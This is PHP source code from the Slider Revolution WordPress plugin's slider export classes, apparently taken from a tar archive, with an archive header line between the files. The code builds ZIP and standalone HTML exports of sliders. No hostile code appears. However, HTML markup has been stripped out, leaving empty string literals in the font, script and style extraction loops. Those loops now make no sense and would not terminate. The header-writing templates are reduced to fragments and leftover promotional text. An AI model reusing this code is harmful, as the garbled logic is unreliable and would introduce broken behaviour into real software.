$cont_url_no_www.'/'), '', $file); $checkpath = str_replace($c_url, '', $file); $checkpath2 = str_replace($up_dir, '', $file); if($checkpath2 === $file){ //we have an SVG like whiteboard, fallback to older export $checkpath2 = $checkpath; } //check if file is in the upload folder, if yes, add it to the zip file if(strpos($file, $up_dir) !== false){ if(!$this->usepcl){ $this->zip->addFile($c_path.$checkpath, 'images/'.$_checkpath); }else{ $this->pclzip->add($c_path.$checkpath, PCLZIP_OPT_REMOVE_PATH, $c_path, PCLZIP_OPT_ADD_PATH, $_checkpath); } } $file = str_replace('/', '\/', $file); $checkpath2 = str_replace('/', '\/', str_replace('/revslider/assets/svg', '', $checkpath2)); if(is_file($c_path.$checkpath)){ $this->export_data = str_replace(array('http:'.$file, 'https:'.$file), $checkpath2, $this->export_data); } } } } /** * push images and videos to the zip file **/ public function add_images_videos_to_zip($root = false){ $this->used_images = array_merge($this->used_images, $this->used_videos); if(!empty($this->used_images)){ $upload_dir = $this->get_upload_path(); $upload_dir_multi = wp_upload_dir(); $cont_url = $this->get_val($upload_dir_multi, 'baseurl'); $cont_url2 = (strpos($cont_url, 'http://') !== false) ? str_replace('http://', 'https://', $cont_url) : str_replace('https://', 'http://', $cont_url); $cont_url_no_www = str_replace('www.', '', $cont_url); $cont_url2_no_www = str_replace('www.', '', $cont_url2); $upload_dir_multi = $this->get_val($upload_dir_multi, 'basedir').'/'; foreach($this->used_images as $file => $val){ //replace double // except the http:// https:// $file = str_replace(array('http://', 'https://'), '!!!!!', $file); $file = str_replace('//', '/', $file); $file = str_replace('!!!!!', 'http://', $file); $add_path = ($root === false) ? 'images/' : ''; $add_structure = ($root === false) ? 'images/'.$file : $file; if($root === false){ $file_push = $file; }else{ $file_expl = explode('.', $file); $extension = strtolower(end($file_expl)); if(in_array($extension, array('jpg', 'jpeg', 'png', 'gif'))){ $file_push = 'thumb.'.strtolower(end($file_expl)); }else{ $file_push = 'video.'.strtolower(end($file_expl)); } } if(strpos($file, 'http') !== false){ //check if we are in objects folder, if yes take the original image into the zip- $remove = false; $checkpath = str_replace(array($cont_url.'/', $cont_url_no_www.'/', $cont_url2.'/', $cont_url2_no_www.'/'), '', $file); $add_checkpath = ($root === false) ? 'images/'.$checkpath : $checkpath; if($root === true){ $add_checkpath = explode('/', $add_checkpath); $add_checkpath = end($add_checkpath); } if(is_file($upload_dir.$checkpath)){ if(!$this->usepcl){ $this->zip->addFile($upload_dir.$checkpath, $add_checkpath); }else{ $this->pclzip->add($upload_dir.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path); } $remove = true; }elseif(is_file($upload_dir_multi.$checkpath)){ if(!$this->usepcl){ $this->zip->addFile($upload_dir_multi.$checkpath, $add_checkpath); }else{ $this->pclzip->add($upload_dir_multi.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path); } $remove = true; } if($remove){ //as its http, remove this from strexport /* * fixes an issue where external urls were not getting processed */ try { $unescaped = json_encode(json_decode($this->export_data), JSON_UNESCAPED_SLASHES); // only available from php 5.4 } catch(Exception $e) { $unescaped = $this->export_data; } $this->export_data = str_replace(array($cont_url . '/' . $checkpath, $cont_url_no_www . '/' . $checkpath), $checkpath, $unescaped); // $this->export_data = str_replace(array($cont_url.$checkpath, $cont_url_no_www.$checkpath), $checkpath, $this->export_data); } }else{ if(is_file($upload_dir.$file)){ if(!$this->usepcl){ $this->zip->addFile($upload_dir.$file, $add_structure); }else{ $this->pclzip->add($upload_dir.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path); } }elseif(is_file($upload_dir_multi.$file)){ if(!$this->usepcl){ $this->zip->addFile($upload_dir_multi.$file, $add_structure); }else{ $this->pclzip->add($upload_dir_multi.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path); } } } } } } /** * push the slider, slides and layer data to the zip **/ public function add_slider_export_to_zip($filename = 'slider_export.txt'){ if(!$this->usepcl){ $this->zip->addFromString($filename, $this->export_data); }else{ $list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => $filename, PCLZIP_ATT_FILE_CONTENT => $this->export_data))); if($list == 0){ die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } /** * push the custom animations to the zip **/ public function add_animations_to_zip(){ if(strlen(trim($this->animations_data)) > 0){ if(!$this->usepcl){ $this->zip->addFromString('custom_animations.txt', $this->animations_data); //add custom animations }else{ $list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'custom_animations.txt', PCLZIP_ATT_FILE_CONTENT => $this->animations_data))); if($list == 0){ die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } } /** * push the custom css styles to the zip **/ public function add_styles_to_zip(){ if(strlen(trim($this->style_data)) > 0){ if(!$this->usepcl){ $this->zip->addFromString('styles.txt', $this->style_data); }else{ $list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'styles.txt', PCLZIP_ATT_FILE_CONTENT => $this->style_data))); if($list == 0){ die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } } /** * push the custom navigations to the zip **/ public function add_navigation_to_zip(){ if(strlen(trim($this->navigation_data)) > 0){ if(!$this->usepcl){ $this->zip->addFromString('navigation.txt', $this->navigation_data); }else{ $list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'navigation.txt', PCLZIP_ATT_FILE_CONTENT => $this->navigation_data))); if($list == 0){ die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } } /** * push the static styles to the zip **/ public function add_static_styles_to_zip(){ $static_css = $this->get_static_css(); if(trim($static_css) !== ''){ if(!$this->usepcl){ $this->zip->addFromString("static-captions.css", $static_css); //add slider settings }else{ $list = $this->pclzip->add(array(array( PCLZIP_ATT_FILE_NAME => 'static-captions.css',PCLZIP_ATT_FILE_CONTENT => $static_css))); if ($list == 0) { die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } } /** * push the info.cfg to the zip * allow for slider packs the automatic creation of the info.cfg **/ public function add_info_to_zip(){ if(apply_filters('revslider_slider_pack_export', false)){ if(!$this->usepcl){ $this->zip->addFromString('info.cfg', md5($this->alias)); //add slider settings }else{ $list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'info.cfg', PCLZIP_ATT_FILE_CONTENT => md5($this->alias)))); if($list == 0){ die("ERROR : '".$this->pclzip->errorInfo(true)."'"); } } } } /** * close the zip if we are not in pcl **/ public function close_export_zip(){ if(!$this->usepcl){ $this->zip->close(); } } /** * send the zip to the client browser **/ public function push_zip_to_client(){ $exportname = (!empty($this->slider_alias)) ? $this->slider_alias.'.zip' : 'slider_export.zip'; header('Content-type: application/zip'); header('Content-Disposition: attachment; filename='.$exportname); header('Pragma: no-cache'); header('Expires: 0'); readfile($this->export_path_zip); } /** * delete the export zip file, ignoring errors **/ public function delete_export_zip(){ @unlink($this->export_path_zip); } /** * Export a Zip with video, thumbnail and layergroup for import * @dev function **/ public function export_layer_group($videoid, $thumbid, $layers){ $this->create_export_zip(); $this->slider_alias = 'layergroup'; $this->used_images[$this->get_url_attachment_image($thumbid)] = true; $this->used_videos[$this->get_url_attachment_image($videoid)] = true; $this->add_images_videos_to_zip(true); $this->export_data = stripslashes($layers); $this->add_slider_export_to_zip('layers.txt'); $this->close_export_zip(); return $this->export_url_zip; } }admin/includes/export-html.class.php000060400000076073151724235750013566 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderSliderExportHtml extends RevSliderSliderExport { public $path_fonts = 'fonts/'; public $path_css = 'css/'; public $path_js = 'js/'; public $path_assets = 'assets'; public $path_assets_raw = 'assets'; public $path_assets_vid = 'assets'; public $path_assets_raw_vid = 'assets'; public $export_real = true; public $slider_output = false; public $slider_html = ''; public $export_font = ''; public $export_scripts = ''; public $export_styles = ''; private $slider_title = ''; private $layouttype = ''; public function __construct(){ parent::__construct(); if(!$this->export_real){ //set all different file path's here $this->path_fonts = '../../revolution/fonts/'; $this->path_css = '../../revolution/css/'; $this->path_js = '../../revolution/js/'; $this->path_assets = '../../assets/images'; $this->path_assets_raw = 'assets/images'; $this->path_assets_vid = '../../assets/videos'; $this->path_assets_raw_vid = 'assets/videos'; } } /** * export slider HTML as a zip file **/ public function export_slider_html($slider_id){ if($slider_id == 'empty_output'){ echo __('Wrong request!', 'revslider'); exit; } $this->create_export_zip(); $slider = new RevSliderSlider(); $slider->init_by_id($slider_id); //check if an update is needed if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){ $upd = new RevSliderPluginUpdate(); $upd->upgrade_slider_to_latest($slider); $slider->init_by_id($slider_id); } if($slider->get_param('pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false){ echo __('Wrong request!', 'revslider'); exit; } $slider = apply_filters('revslider_doing_html_export', $slider, $slider_id, $this); $this->slider_title = $slider->get_title(); $this->slider_alias = $slider->get_alias(); $this->layouttype = $slider->get_param('layouttype'); $this->slider_output = new RevSliderOutput(); ob_start(); $this->slider_output->set_slider_id($slider_id); $this->slider_output->set_markup_export(true); $this->slider_output->add_slider_base(); $this->slider_html = ob_get_contents(); ob_clean(); ob_end_clean(); $this->create_font_html(); $this->create_script_html(); $this->create_style_html(); ob_start(); $this->write_header_html(); $head = ob_get_contents(); ob_clean(); ob_end_clean(); ob_start(); $this->write_body_html(); $body = ob_get_contents(); ob_clean(); ob_end_clean(); ob_start(); $this->write_footer_html(); $footer = ob_get_contents(); ob_clean(); ob_end_clean(); $this->slider_html = $head."\n". $this->slider_html."\n". $this->export_scripts."\n". $body."\n". $footer; $this->replace_export_html_urls(); $this->add_export_html_to_zip(); $this->push_zip_to_client(); $this->delete_export_zip(); exit; } /** * replace the URLs in the HTML to local URLs for exporting, this will also push the files into the zip file **/ public function replace_export_html_urls(){ $added = array(); $replace = array(); $upload_dir = $this->get_upload_path(); $upload_dir_multi = wp_upload_dir(); $cont_url = $this->get_val($upload_dir_multi, 'baseurl'); $cont_url_no_www = str_replace('www.', '', $cont_url); $upload_dir_multi = $this->get_val($upload_dir_multi, 'basedir').'/'; $search = array($cont_url, $cont_url_no_www, RS_PLUGIN_URL); if(defined('WHITEBOARD_PLUGIN_URL')){ $search[] = WHITEBOARD_PLUGIN_URL; } $search = apply_filters('revslider_html_export_replace_urls', $search); $replace = apply_filters('revslider_html_export_path_replace_urls', $replace); if(!empty($search)){ foreach($search as $s){ $s = $this->remove_http($s); preg_match_all("/(\"|')".str_replace('/', '\/', $s)."\S+(\"|')/", $this->slider_html, $_files); if(!empty($_files) && isset($_files[0]) && !empty($_files[0])){ //go through all files, check for existance and add to the zip file foreach($_files[0] as $_file){ $o = $_file; $_file = str_replace(array('"', "'", $s), '', $_file); //check if video or image $use_path = $this->path_assets; $use_path_raw = $this->path_assets_raw; preg_match('/.*?.(?:jpg|jpeg|gif|png|svg)/i', $_file, $match); preg_match('/.*?.(?:ogv|webm|mp4|mp3)/i', $_file, $match2); $f = false; if(!empty($match) && isset($match[0]) && !empty($match[0])){ //image $use_path = $this->path_assets; $use_path_raw = $this->path_assets_raw; $f = true; } if(!empty($match2) && isset($match2[0]) && !empty($match2[0])){ //video $use_path = $this->path_assets_vid; $use_path_raw = $this->path_assets_raw_vid; $f = true; } if($f == false){ //no file, just a location. So change the location accordingly by removing base and add ../../revolution if(strpos($o, 'public/assets/js/') !== false){ //this will be the jsFileLocation script part $this->slider_html = str_replace($o, '"'.$this->path_js.'"', $this->slider_html); } continue; //no correct file, nothing to add } if(isset($added[$_file])) continue; $add = ''; $__file = ''; $repl_to = explode('/', $_file); $repl_to = end($repl_to); $remove = false; if(is_file($upload_dir.$_file)){ $mf = str_replace('//', '/', $upload_dir.$_file); if(!$this->usepcl){ $this->zip->addFile($mf, $use_path_raw.'/'.$repl_to); }else{ $v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/'); } $remove = true; }elseif(is_file($upload_dir_multi.$_file)){ $mf = str_replace('//', '/', $upload_dir_multi.$_file); if(!$this->usepcl){ $this->zip->addFile($mf, $use_path_raw.'/'.$repl_to); }else{ $v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/'); } $remove = true; }elseif(is_file(RS_PLUGIN_PATH.$_file)){ $mf = str_replace('//', '/', RS_PLUGIN_PATH.$_file); //we need to be special with svg files $__file = basename($_file); //remove admin/assets/ //$__file = str_replace('admin/assets/images/', '', $_file); if(!$this->usepcl){ $this->zip->addFile($mf, $use_path_raw.'/'.$__file); }else{ $v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/'); } $remove = true; $add = '/'; }else{ if(defined('WHITEBOARD_PLUGIN_PATH')){ if(is_file(WHITEBOARD_PLUGIN_PATH.$_file)){ $mf = str_replace('//', '/', WHITEBOARD_PLUGIN_PATH.$_file); //we need to be special with svg files $__file = basename($_file); if(!$this->usepcl){ $this->zip->addFile($mf, $use_path_raw.'/'.$__file); }else{ $v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/'); } $remove = true; $add = '/'; } } if(!empty($replace)){ foreach($replace as $_path){ if(is_file($_path.$_file)){ $mf = str_replace('//', '/', $_path.$_file); //we need to be special with svg files $__file = basename($_file); if(!$this->usepcl){ $this->zip->addFile($mf, $use_path_raw.'/'.$__file); }else{ $v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/'); } $remove = true; $add = '/'; } } } } if($remove == true){ $added[$_file] = true; //set as added //replace file with new path if($add !== '') $_file = $__file; //set the different path here $re = (strpos($o, "'") !== false) ? "'" : '"'; $this->slider_html = str_replace($o, $re.$use_path.'/'.$repl_to.$re, $this->slider_html); } } } } } if($this->export_real){ //only include if real export //add common files to the zip if(!$this->usepcl){ if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){ $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.main.js', 'js/rs6.main.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.actions.js', 'js/rs6.actions.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.carousel.js', 'js/rs6.carousel.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.layeranimation.js', 'js/rs6.layeranimation.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.navigation.js', 'js/rs6.navigation.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.panzoom.js', 'js/rs6.panzoom.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.parallax.js', 'js/rs6.parallax.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.slideanims.js', 'js/rs6.slideanims.js'); //$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/libs/three.min.js', 'js/three.min.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.video.js', 'js/rs6.video.js'); }else{ $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/rs6.min.js', 'js/rs6.min.js'); } $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/rbtools.min.js', 'js/rbtools.min.js'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/css/rs6.css', 'css/rs6.css'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', 'fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/css/helper.css', 'fonts/pe-icon-7-stroke/css/helper.css'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/css/font-awesome.css', 'fonts/font-awesome/css/font-awesome.css'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/FontAwesome.otf', 'fonts/font-awesome/fonts/FontAwesome.otf'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.eot', 'fonts/font-awesome/fonts/fontawesome-webfont.eot'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.svg', 'fonts/font-awesome/fonts/fontawesome-webfont.svg'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.ttf', 'fonts/font-awesome/fonts/fontawesome-webfont.ttf'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff', 'fonts/font-awesome/fonts/fontawesome-webfont.woff'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff2', 'fonts/font-awesome/fonts/fontawesome-webfont.woff2'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.eot', 'fonts/revicons/revicons.eot'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.svg', 'fonts/revicons/revicons.svg'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.ttf', 'fonts/revicons/revicons.ttf'); $this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/revicons/revicons.woff', 'fonts/revicons/revicons.woff'); }else{ if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){ $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.main.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.actions.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.carousel.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.layeranimation.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.navigation.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.panzoom.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.parallax.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.slideanims.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); //$this->pclzip->add(RS_PLUGIN_PATH.'/public/assets/js/libs/three.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/dev/rs6.video.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); }else{ $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); } $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/js/rbtools.min.js', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/js/', PCLZIP_OPT_ADD_PATH, 'js/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/css/rs6.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/css/', PCLZIP_OPT_ADD_PATH, 'css/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/css/helper.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/css/font-awesome.css', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/FontAwesome.otf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/font-awesome/fonts/fontawesome-webfont.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.eot', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.svg', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.ttf', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); $this->pclzip->add(RS_PLUGIN_PATH.'public/assets/fonts/revicons/revicons.woff', PCLZIP_OPT_REMOVE_PATH, RS_PLUGIN_PATH.'public/assets/'); } $this->slider_html = apply_filters('revslider_export_html_file_inclusion', $this->slider_html, $this); $notice_text = __('Using this data is only allowed with a valid licence of the jQuery Slider Revolution Plugin, which can be found at: https://www.themepunch.com/links/slider_revolution_jquery', 'revslider'); if(!$this->usepcl){ $this->zip->addFromString('NOTICE.txt', $notice_text); //add slider settings }else{ $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'NOTICE.txt', PCLZIP_ATT_FILE_CONTENT => $notice_text))); } } } /** * Add the export HTML file to the zip file **/ public function add_export_html_to_zip(){ if(!$this->usepcl){ $this->zip->addFromString('slider.html', $this->slider_html); //add slider settings $this->zip->close(); }else{ $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'slider.html', PCLZIP_ATT_FILE_CONTENT => $this->slider_html))); } } /** * create the Font HTML needed for the HTML Export * this will also remove the part out of the slider markup **/ public function create_font_html(){ $fonts = ''; while(strpos($this->slider_html, '') !== false){ $fonts .= substr($this->slider_html, strpos($this->slider_html, ''), strpos($this->slider_html, '') + 14 - strpos($this->slider_html, ''))."\n"; $starthtml = substr($this->slider_html, 0, strpos($this->slider_html, '')); $endhtml = substr($this->slider_html, strpos($this->slider_html, '') + 14); $this->slider_html = $starthtml.$endhtml; //remove from html markup } $fonts = str_replace(array('', ''), '', $fonts); //remove the tags $fonts = str_replace('/>','/>'."\n", $fonts); $this->export_font = $fonts; } /** * create the Scripts HTML needed for the HTML Export * this will also remove the part out of the slider markup **/ public function create_script_html(){ $scripts = ''; while(strpos($this->slider_html, '') !== false){ $scripts .= substr($this->slider_html, strpos($this->slider_html, ''), strpos($this->slider_html, '') + 16 - strpos($this->slider_html, ''))."\n";; $starthtml = substr($this->slider_html, 0, strpos($this->slider_html, '')); $endhtml = substr($this->slider_html, strpos($this->slider_html, '') + 16); $this->slider_html = $starthtml.$endhtml; //remove from html markup } $this->export_scripts = str_replace(array('', ''), '', $scripts); //remove the tags } /** * create the Styles HTML needed for the HTML Export * this will also remove the part out of the slider markup **/ public function create_style_html(){ $styles = ''; while(strpos($this->slider_html, '') !== false){ $styles .= substr($this->slider_html, strpos($this->slider_html, ''), strpos($this->slider_html, '') + 15 - strpos($this->slider_html, ''))."\n"; $starthtml = substr($this->slider_html, 0, strpos($this->slider_html, '')); $endhtml = substr($this->slider_html, strpos($this->slider_html, '') + 15); $this->slider_html = $starthtml.$endhtml; //remove from html markup } $this->export_styles = str_replace(array('', ''), '', $styles); //remove the tags } /** * create Header HTML for HTML export **/ public function write_header_html(){ ?> <?php echo $this->slider_title; ?> - Slider Revolution export_font; ?> export_real){ echo $this->export_styles; $static_css = $this->get_static_css(); if($static_css !== ''){ $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); echo ''."\n"; } }else{ ?> export_real){ ?> layouttype != 'fullscreen'){ ?>

            Your Slider Revolution jQuery Plugin

            Slider Revolution is an innovative, responsive Slider Plugin that displays your content the beautiful way. Whether it's a Slider, Carousel, Hero Scene or even a whole Front Page.
            The visual drag & drop editor will help you to create your Sliders and tell your own stories in no time!

            export_real){ ?>
            layouttype == 'fullscreen'){ ?>

            Your Slider Revolution jQuery Plugin

            Slider Revolution is an innovative, responsive Slider Plugin that displays your content the beautiful way. Whether it's a Slider, Carousel, Hero Scene or even a whole Front Page.
            The visual drag & drop editor will help you to create your Sliders and tell your own stories in no time!

            Find the Documentation ?

            We would always recommend to use our online documentation however you can find also our embeded local documentation zipped in the Documentation folder. Online Documentation and FAQ Page is regulary updated. You will find More examples, Visit us also at https://themepunch.com !

            Learn how to build your Slider!

            Navigation Examples !

            You find many Examples for All Skins and Positions of Navigation examples in the examples/Navigation folder. Based on these prepared examples you can build your own navigation skins. Feel free to copy and paste the markups after your requests in your own documents.

            Customize the interaction with your visitor!

            Layer and Slide Transitions

            We prepared a small List of Transition and a light weight Markup Builder in the examples/Transitions folder. This will help you to get an overview how the Slider and Layer Transitions works. Copy the Markups of the generated Slide and Layer Animation Examples and paste it into your own Documents.

            Eye Catching Effects!
